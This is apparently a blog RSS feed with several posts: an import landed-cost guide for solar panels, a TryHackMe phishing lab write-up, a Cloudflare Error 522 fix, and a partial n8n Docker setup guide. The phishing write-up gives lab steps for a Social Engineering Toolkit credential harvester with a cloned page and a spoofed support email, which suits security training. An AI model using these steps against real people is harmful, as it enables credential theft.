&lt;p&gt;By layering these controls, you create a system where the &quot;cost of bypass&quot; is higher than the user&apos;s technical ability or patience.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.DDnKgky9.webp"/><enclosure url="/_astro/1.DDnKgky9.webp"/></item><item><title>Calculating Global Import Costs for Industrial Products</title><link>https://farros.co/blog/calculating-global-import-costs-for-industrial-products/</link><guid isPermaLink="true">https://farros.co/blog/calculating-global-import-costs-for-industrial-products/</guid><description>B2B guide to landed costs. Learn why $0.08 web prices are &apos;teaser traps&apos; and how to calculate real-world import fees for 50MWp solar projects in Indonesia.</description><pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When importing industrial products from the global market, the price you see on a B2B website is only the beginning. To determine the true &quot;landed cost,&quot; you must account for logistics, duties, and local taxes.&lt;/p&gt;
&lt;p&gt;This guide comes from my real experience managing a &lt;strong&gt;B2B e-commerce platform&lt;/strong&gt; for electrical and renewable energy products. One of the biggest challenges in this business process is the &quot;Pricing Gap.&quot; In the industrial sector, prices are rarely static or real-time. Producers often don&apos;t update their own websites, leaving platform managers in a constant struggle to find competitive, accurate base prices for products like PV modules.&lt;/p&gt;
&lt;p&gt;In this guide, I will demonstrate how to calculate the pricing flow using &lt;strong&gt;PV Modules (Solar Panels)&lt;/strong&gt; imported from China to Indonesia as a case study.&lt;/p&gt;
&lt;h2&gt;1. Understanding Product Pricing (EXW)&lt;/h2&gt;
&lt;p&gt;Most industrial suppliers quote prices based on &lt;strong&gt;EXW (Ex Works)&lt;/strong&gt;, meaning the price only covers the goods at the factory door. Shipping and handling are your responsibility.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.AJoc8ysy_Z1aPtgd.webp&quot; alt=&quot;Industrial Pricing Example&quot;&gt;&lt;/p&gt;
&lt;h3&gt;The &quot;Price Trap&quot;: Web Listing vs. Actual Quote&lt;/h3&gt;
&lt;p&gt;In the B2B world, the price you see on Alibaba or Google Shopping is often a &quot;teaser&quot; price. As a platform manager, I&apos;ve found that even producers often do not update their websites in real-time. This reveals a critical industry truth: &lt;strong&gt;B2B pricing is often a private market.&lt;/strong&gt; Many competitive rates are never published openly; they are hidden behind direct negotiations and volume commitments.&lt;/p&gt;
&lt;p&gt;For a 50MWp project, the gap between what is listed and what is finally quoted in a private chat can be massive:&lt;/p&gt;
&lt;p&gt;| Type | Unit Price | Total EXW Cost (50MWp) | Gap |
| :--- | :--- | :--- | :--- |
| &lt;strong&gt;Web Listing&lt;/strong&gt; | $0.08 / Wp | $4,000,000 | - |
| &lt;strong&gt;Market Reality&lt;/strong&gt; | &lt;strong&gt;$0.12 / Wp&lt;/strong&gt; | &lt;strong&gt;$6,000,000&lt;/strong&gt; | &lt;strong&gt;+$2,000,000&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example Project Details (Theoretical Example):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Project Size:&lt;/strong&gt; 50 MWp (50,000,000 Wp)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Module Capacity:&lt;/strong&gt; 650 Wp per panel&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theoretical Unit Price:&lt;/strong&gt; $0.08 / Wp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cost of Goods Calculation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Total Panels:&lt;/strong&gt; 50,000,000 Wp ÷ 650 Wp = &lt;strong&gt;76,924 panels&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Total EXW Cost:&lt;/strong&gt; 50,000,000 Wp × $0.08 = &lt;strong&gt;$4,000,000.00&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Logistics &amp;#x26; Container Calculation&lt;/h2&gt;
&lt;p&gt;Industrial orders are shipped in containers. For PV modules, we typically use 40&apos;HC (High Cube) containers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Load per Container:&lt;/strong&gt; 31 panels per pallet × 20 pallets = 620 panels&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Total Containers Required:&lt;/strong&gt; 76,924 panels ÷ 620 = &lt;strong&gt;125 x 40&apos;HC containers&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Origin Handling (The &quot;EXW&quot; Burden)&lt;/h3&gt;
&lt;p&gt;Since our pricing is EXW, we must account for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inland China Transport:&lt;/strong&gt; Moving 125 containers from the factory to the port (e.g., Ningbo/Shanghai).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Origin Port Charges:&lt;/strong&gt; Terminal Handling Charges (THC) and export documentation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To estimate sea freight costs, you can use platforms like &lt;a href=&quot;https://ship.freightos.com&quot;&gt;Freightos&lt;/a&gt;. Register an account and input your details:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CnFRTU9z_ZODnIF.webp&quot; alt=&quot;Freightos Interface&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can choose your preferred currency (USD, EUR, or GBP) and then fill in these four key fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Origin&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Destination&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Load&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Goods&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CrlQ5VyO_Z1O0UbK.webp&quot; alt=&quot;Freightos Input Fields&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Estimated Shipping Cost:&lt;/strong&gt; ~$448,683.58 (based on current market rates).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; &lt;em&gt;Logistics and tax calculations in this guide are based on the $4,000,000 theoretical EXW value. In a real scenario using the $0.12/Wp market price, costs like insurance and financial fees will increase proportionally.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3. Adding Duties and Taxes (The &quot;Hidden&quot; Costs)&lt;/h2&gt;
&lt;p&gt;This is where many calculations fail. For Indonesia, you must consider the &lt;strong&gt;HS Code (8541.43.00)&lt;/strong&gt; for PV modules and the mandatory &lt;strong&gt;Form E&lt;/strong&gt; for duty exemption.&lt;/p&gt;
&lt;p&gt;| Component | Rate | Calculation Base | Estimated Cost |
| :--- | :--- | :--- | :--- |
| &lt;strong&gt;Marine Insurance&lt;/strong&gt; | 0.2% | EXW Value | $8,000 |
| &lt;strong&gt;Import Duty&lt;/strong&gt; | 0% | CIF (Goods + Ins + Freight) | $0 (ACFTA w/ Form E) |
| &lt;strong&gt;VAT (PPN)&lt;/strong&gt; | 11% | CIF + Duty | ~$490,235 |
| &lt;strong&gt;Income Tax (PPh 22)&lt;/strong&gt; | 2.5% | CIF + Duty | ~$111,417 |&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: PPh 22 is 2.5% for owners of an API (Import Identification Number) and 7.5% without one. To achieve 0% duty, your supplier must provide a &lt;strong&gt;Form E (Certificate of Origin)&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;4. Final Landed Cost&lt;/h2&gt;
&lt;p&gt;To get your final price per unit, sum all costs including the &quot;last mile&quot; handling in Indonesia:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;EXW Cost:&lt;/strong&gt; $4,000,000&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sea Freight &amp;#x26; Insurance:&lt;/strong&gt; $456,683&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Taxes (VAT + PPh 22):&lt;/strong&gt; $601,652&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local Handling (PPJK + 125 Trucks):&lt;/strong&gt; ~$72,500&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Total Landed Cost:&lt;/strong&gt; &lt;strong&gt;$5,130,835&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Final Unit Price:&lt;/strong&gt; $5,130,835 ÷ 50,000,000 Wp = &lt;strong&gt;$0.1026 / Wp&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;5. The Regulatory Finish Line (Indonesia)&lt;/h2&gt;
&lt;p&gt;Price is only half the battle. In Indonesia, two factors can stop your project entirely:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SNI Certification:&lt;/strong&gt; PV modules must have the SNI (Standar Nasional Indonesia) mark. Without it, Customs will not release the goods. This applies to &lt;strong&gt;both&lt;/strong&gt; private and government projects.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TKDN (Local Content):&lt;/strong&gt; This is the &quot;make or break&quot; factor for &lt;strong&gt;Government-linked projects (Instansi/BUMN)&lt;/strong&gt;. These projects require a high percentage of local content. Even if importing is cheaper, you may be legally required to source from local factories to meet the regulatory threshold.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Private Sector (Swasta) Advantage:&lt;/strong&gt; For purely private projects, there is typically no strict minimum TKDN requirement. This allows private developers more flexibility to import Tier 1 modules directly from global manufacturers to achieve the best price-to-performance ratio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By following this flow, you can accurately predict whether your project is financially viable before signing any contracts. Always remember that the &quot;Cheap&quot; price online is just the first step in a very long journey!&lt;/p&gt;</content:encoded><h:img src="/_astro/1.CzKnGSBU.webp"/><enclosure url="/_astro/1.CzKnGSBU.webp"/></item><item><title>Phishing Basics | TryHackMe Write-up</title><link>https://farros.co/blog/phishing-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/phishing-basics-tryhackme-write-up/</guid><description>Complete walkthrough for  TryHackme room. Explore phishing techniques and tools for penetration testing.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/phishingbasics&quot;&gt;Phishing Basics&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This section introduces phishing as a powerful tool in a penetration tester&apos;s arsenal. Unlike technical vulnerabilities, phishing targets the human element, exploiting psychology to bypass robust technical defenses. A successful phishing attack can lead to initial network access, malware deployment, or credential theft.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Are you ready?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Phishing 101&lt;/h2&gt;
&lt;p&gt;Phishing is a social engineering attack used to trick individuals into revealing sensitive data or executing malware by impersonating legitimate entities. There are three main types discussed: generic Phishing (a broad attack sent to many), Spear Phishing (a highly targeted attack on a specific individual), and Whaling (spear phishing targeting high-level executives like CEOs). Ethical hackers use these techniques to evaluate and strengthen an organization&apos;s security posture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the primary channel used during a smishing attack?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sms&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;You are a CEO and have just received a phishing email sent only to you. What type of phishing is this?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Whaling&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Psychology of Phishing&lt;/h2&gt;
&lt;p&gt;Phishing relies heavily on psychological manipulation. It utilizes several core social engineering principles to bypass logical thinking: Scarcity (FOMO), Urgency (time pressure), Authority (compliance with perceived leaders), Fear (anxiety over security alerts), Curiosity (desire to know secrets), and Trust (familiarity with brands or colleagues). The material also highlights cognitive biases that make people susceptible, such as overconfidence bias, confirmation bias, and authority bias.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You receive an email stating that a special offer for the new iPhone will expire in 24 hours if you don&apos;t act now. Which principle is being used?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Urgency&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;An executive requests sensitive data via email, emphasising their position within the company. Which principle is being used?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Authority&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;You receive a message promising exclusive access to a new product no one else knows about if you click on a link. Which principle is being used?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Curiosity&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;You receive an email claiming that your account credentials were found in a recent data breach. Which principle is being used?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fear&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Phishing Techniques&lt;/h2&gt;
&lt;p&gt;This task details the technical methods used to deceive victims. It covers URL manipulation (URL masking, homograph attacks, and typosquatting) to hide malicious links. It explains email spoofing, where attackers manipulate SMTP headers to fake the sender&apos;s identity, which organizations combat using SPF, DMARC, and DKIM. Additionally, it introduces credential harvesting via cloned login pages and payload delivery using malicious document macros. Popular phishing tools like GoPhish, EvilNginx, and The Social Engineering Toolkit (SET) are also highlighted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which technique relies on users making a typo?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Typosquatting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which three security measures help organisations defend against email spoofing?&lt;/strong&gt; Answer format: Alphabetical order, separated by commas&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DKIM, DMARC, SPF&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Anatomy of a Phishing Campaign&lt;/h2&gt;
&lt;p&gt;A successful phishing campaign follows a structured lifecycle: Planning &amp;#x26; Scoping (defining goals and rules of engagement), Reconnaissance (gathering OSINT), Scenario &amp;#x26; Payload Development (crafting realistic lures and benign payloads), Exploitation &amp;#x26; Post-Exploitation (executing the attack and monitoring metrics), and Reporting &amp;#x26; Debriefing (analyzing data and providing actionable recommendations). The task includes a benchmarking table to map metrics (like Click Rate and Credential Entry Rate) to specific security recommendations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your campaign shows a credential entry rate of 6%. According to the benchmarks, what risk level does this represent?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;High risk&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which metric measures the percentage of users who open an attachment?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Attachment Detonation Rate&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;A client has a click rate of 10%. Which single recommendation from the table would you give them?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Focused security awareness training&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: The Social Engineering Toolkit&lt;/h2&gt;
&lt;p&gt;This hands-on scenario involves using the Social Engineering Toolkit (SET) to perform a spear-phishing attack against a target named Bob. The process includes starting a credential harvester listener by cloning a target webpage (typosquatting the domain). Then, using an email client (Rainloop) to spoof an internal support email address, bypassing standard email security measures. Once the target interacts with the cloned site, the terminal captures and displays the harvested credentials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the password flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CuJA5z7R_H1bf3.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;First, we need to connect to the attacker via SSH and start SET (Social Engineer Toolkit) then select this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Social-Engineering Attacks&lt;/li&gt;
&lt;li&gt;Website Attack Vectors&lt;/li&gt;
&lt;li&gt;Credential Harvester Attack Method&lt;/li&gt;
&lt;li&gt;Custom Import&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CT_Zjom4_Z1KnQPb.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then, provide the following path for index.html /home/attacker/setoolkit/ and choose the first option, Copy just the index.html. And finally, enter the following URL: &lt;a href=&quot;http://tryacounting.thm&quot;&gt;http://tryacounting.thm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Bhq_0SMO_Z2gWJM1.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Go to attacker mail inbox and fill it out like this:
from: &lt;a href=&quot;mailto:support@tryaccounting.thm&quot;&gt;support@tryaccounting.thm&lt;/a&gt;
to: &lt;a href=&quot;mailto:bob@tryaccounting.thm&quot;&gt;bob@tryaccounting.thm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fill in the subject line and the body of the email, then send the email.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.j91rOcv6_ZfmvJ3.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Finally, we get the flag from the terminal response&lt;/p&gt;
&lt;h2&gt;Task 7: Conclusion&lt;/h2&gt;
&lt;p&gt;The room wraps up by summarizing the key concepts learned from a pentester&apos;s perspective, including the psychological principles of social engineering, technical manipulation techniques like typosquatting and spoofing, and the deployment of actual phishing tools. It provides a solid foundation for evaluating an organization&apos;s susceptibility to human-based attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Well done on completing this room! If you&apos;re looking for a challenge, try out our You Got Mail room.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.BVGydkEF.webp"/><enclosure url="/_astro/1.BVGydkEF.webp"/></item><item><title>Why Your WWW Domain Shows Error 522 And How to Fix It</title><link>https://farros.co/blog/why-your-www-domain-shows-error-522-and-how-to-fix-it/</link><guid isPermaLink="true">https://farros.co/blog/why-your-www-domain-shows-error-522-and-how-to-fix-it/</guid><description>Getting an Error 522 Connection Timed Out on your www domain in Cloudflare Pages? Learn why this happens and how to fix it in under two minutes.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You just finished building a blazing-fast static website. You deployed it to Cloudflare Pages, linked up your custom domain, and everything looks perfect. &lt;code&gt;example.com&lt;/code&gt; loads instantly.&lt;/p&gt;
&lt;p&gt;But then, out of habit, you type &lt;code&gt;www.example.com&lt;/code&gt; into your browser. Instead of your beautiful new site, you are greeted by: &lt;strong&gt;Error 522: Connection timed out&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you check your DNS settings, everything looks correct. You have your root domain pointing to your &lt;code&gt;.pages.dev&lt;/code&gt; project, and a CNAME record pointing &lt;code&gt;www&lt;/code&gt; to your root domain. So, what gives?&lt;/p&gt;
&lt;p&gt;Here is why this happens and how you can fix it.&lt;/p&gt;
&lt;h2&gt;The Problem: Cloudflare Pages is a Strict Bouncer&lt;/h2&gt;
&lt;p&gt;When you set up a CNAME for &lt;code&gt;www&lt;/code&gt; pointing to &lt;code&gt;example.com&lt;/code&gt;, Cloudflare forwards the traffic to your Cloudflare Pages origin server.&lt;/p&gt;
&lt;p&gt;However, Cloudflare Pages relies strictly on the &lt;strong&gt;hostname&lt;/strong&gt; of the incoming request to figure out which project to serve. When a request comes in for &lt;code&gt;www.example.com&lt;/code&gt;, Pages checks its internal guest list. Because you only registered &lt;code&gt;example.com&lt;/code&gt; as a custom domain for your project, Pages doesn&apos;t recognize the &lt;code&gt;www&lt;/code&gt; version.&lt;/p&gt;
&lt;p&gt;Not knowing what to do with the unrecognized hostname, the server drops the connection, resulting in the dreaded Error 522.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DRpDgbfy_ZCbhug.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;What is Error 522?&lt;/h2&gt;
&lt;p&gt;Before we fix it, let&apos;s briefly understand what is actually happening.&lt;/p&gt;
&lt;p&gt;An &lt;strong&gt;Error 522 (Connection timed out)&lt;/strong&gt; happens when Cloudflare (acting as the middleman) tries to connect to your web server (where your website actually lives), but the server takes too long to respond or doesn&apos;t respond at all.&lt;/p&gt;
&lt;p&gt;Think of it like calling a friend on the phone. Cloudflare dials the number, but the phone just rings and rings until the call eventually drops. Cloudflare is telling you, &lt;em&gt;&quot;I tried to reach your server, but it ghosted me.&quot;&lt;/em&gt; Usually, this means a server is down or overloaded. However, in the case of Cloudflare Pages, your server isn&apos;t broken at all. It is ignoring the request on purpose because of a strict nametag policy.&lt;/p&gt;
&lt;h2&gt;The Fix: Choose Your Path&lt;/h2&gt;
&lt;p&gt;To resolve this, you have two options depending on your preference.&lt;/p&gt;
&lt;h3&gt;Option 1: Redirect WWW to your Root Domain (Recommended)&lt;/h3&gt;
&lt;p&gt;From an SEO and modern web design perspective, it is best practice to choose &lt;em&gt;one&lt;/em&gt; version of your domain and stick to it. Redirecting &lt;code&gt;www&lt;/code&gt; to your root domain (also known as the apex or naked domain) ensures search engines don&apos;t penalize you for duplicate content.&lt;/p&gt;
&lt;p&gt;Here is how to set up a seamless, lightning-fast redirect at the edge:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Leave your current DNS records as they are (ensure &lt;code&gt;www&lt;/code&gt; is a CNAME pointing to your root domain and is &quot;Proxied&quot; via the orange cloud).&lt;/li&gt;
&lt;li&gt;In your Cloudflare dashboard, navigate to &lt;strong&gt;Rules&lt;/strong&gt; in the left sidebar, then select &lt;strong&gt;Redirect Rules&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Create rule&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Name your rule something descriptive, like &quot;Redirect WWW to Root&quot;.&lt;/li&gt;
&lt;li&gt;Under &lt;strong&gt;If...&lt;/strong&gt;, select &lt;strong&gt;Custom filter expression&lt;/strong&gt; and configure it as follows:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Field:&lt;/strong&gt; Hostname&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operator:&lt;/strong&gt; equals&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value:&lt;/strong&gt; &lt;code&gt;www.example.com&lt;/code&gt; &lt;em&gt;(replace with your actual domain)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Under &lt;strong&gt;Then...&lt;/strong&gt;, configure the dynamic redirect:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Type:&lt;/strong&gt; Dynamic&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expression:&lt;/strong&gt; &lt;code&gt;concat(&quot;https://example.com&quot;, http.request.uri.path)&lt;/code&gt; &lt;em&gt;(replace example.com with your domain)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Status code:&lt;/strong&gt; 301 (Permanent Redirect)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Deploy&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.D5LVQxox_1EbcXo.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, anyone who stubbornly types &lt;code&gt;www&lt;/code&gt; will be instantly and invisibly redirected to your clean, root domain.&lt;/p&gt;
&lt;h3&gt;Option 2: Add WWW as a Custom Domain in Pages&lt;/h3&gt;
&lt;p&gt;If you actively &lt;em&gt;want&lt;/em&gt; users to see the &lt;code&gt;www&lt;/code&gt; in their address bar, you need to tell Cloudflare Pages to officially recognize it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to your Cloudflare dashboard and click on &lt;strong&gt;Workers &amp;#x26; Pages&lt;/strong&gt; in the left sidebar.&lt;/li&gt;
&lt;li&gt;Select your specific Pages project.&lt;/li&gt;
&lt;li&gt;Navigate to the &lt;strong&gt;Custom Domains&lt;/strong&gt; tab.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Set up a custom domain&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Enter &lt;code&gt;www.example.com&lt;/code&gt; and follow the prompts to add it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Cloudflare will automatically provision the SSL certificates and adjust the backend routing. Within a few minutes, the Error 522 will vanish, and your site will happily serve traffic on the &lt;code&gt;www&lt;/code&gt; subdomain.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.C86MC-ZR.webp"/><enclosure url="/_astro/1.C86MC-ZR.webp"/></item><item><title>How to Install n8n via Docker and Fix the 503 Error</title><link>https://farros.co/blog/how-to-install-n8n-via-docker-and-fix-the-503-error/</link><guid isPermaLink="true">https://farros.co/blog/how-to-install-n8n-via-docker-and-fix-the-503-error/</guid><description>A step-by-step guide to self-hosting n8n using Docker Compose, including how to troubleshoot and fix common folder permission crashing errors.</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Self-hosting n8n is an incredible way to build powerful automations without worrying about execution limits. The most reliable way to install n8n on a VPS is using Docker. However, the setup doesn&apos;t always go perfectly on the first try.&lt;/p&gt;
&lt;p&gt;In this guide, I will walk you through the standard Docker installation for n8n, how to spot a common failure point, and how to fix the &quot;503 Service Unavailable&quot; error if your container gets stuck in a crash loop.&lt;/p&gt;
&lt;h2&gt;Step 1: Preparing the Directory and Docker Compose File&lt;/h2&gt;
&lt;p&gt;First, we need to create a dedicated directory on our server to store n8n&apos;s persistent data. This ensures that if the server restarts or the container is rebuilt, you don&apos;t lose your workflows.&lt;/p&gt;
&lt;p&gt;Connect to your server via SSH and run the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir -p /opt/n8n/data
cd /opt/n8n
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, create the configuration file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano docker-compose.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Paste the following configuration into the file. Make sure to adjust the N8N_HOST, WEBHOOK_URL, and GENERIC_TIMEZONE variables to match your specific setup.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;version: &apos;3.8&apos;

volumes:
  n8n_data:

services:
  n8n:
    image: docker.n8n.io/n8nio/n8n
    restart: always
    ports:
      - &quot;127.0.0.1:5678:5678&quot;
    environment:
      - N8N_HOST=n8n.domain.com
      - N8N_PORT=5678
      - N8N_PROTOCOL=https
      - NODE_ENV=production
      - WEBHOOK_URL=https://n8n.domain.com/
      - GENERIC_TIMEZONE=GMT+7 # Change to your timezone
    volumes:
      - /opt/n8n/data:/home/node/.n8n
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save and exit the file.&lt;/p&gt;
&lt;h2&gt;Step 2: Starting the Container (And Hitting a Wall)&lt;/h2&gt;
&lt;p&gt;With the configuration ready, it is time to spin up the container in the background:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DSOAqsQn_Z1em75T.webp&quot; alt=&quot;docker&quot;&gt;&lt;/p&gt;
&lt;p&gt;Normally, you would now set up your reverse proxy, attach an SSL certificate, and navigate to your domain. But sometimes, you are greeted with this instead:&lt;/p&gt;
&lt;p&gt;If you see a &lt;strong&gt;Service Unavailable&lt;/strong&gt; error, it usually means your web server (like Apache or Nginx) is working fine, but it cannot communicate with the internal n8n container on port &lt;code&gt;5678&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.Cp5F7qd1_Z1rxTgF.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s find out why.&lt;/p&gt;
&lt;h2&gt;Step 3: Troubleshooting the Crash Loop&lt;/h2&gt;
&lt;p&gt;When a reverse proxy fails to connect, the first thing to check is if the Docker container is actually running.&lt;/p&gt;
&lt;p&gt;Run the following command to check your active containers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BLwFY_fh_Z2XBpn.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
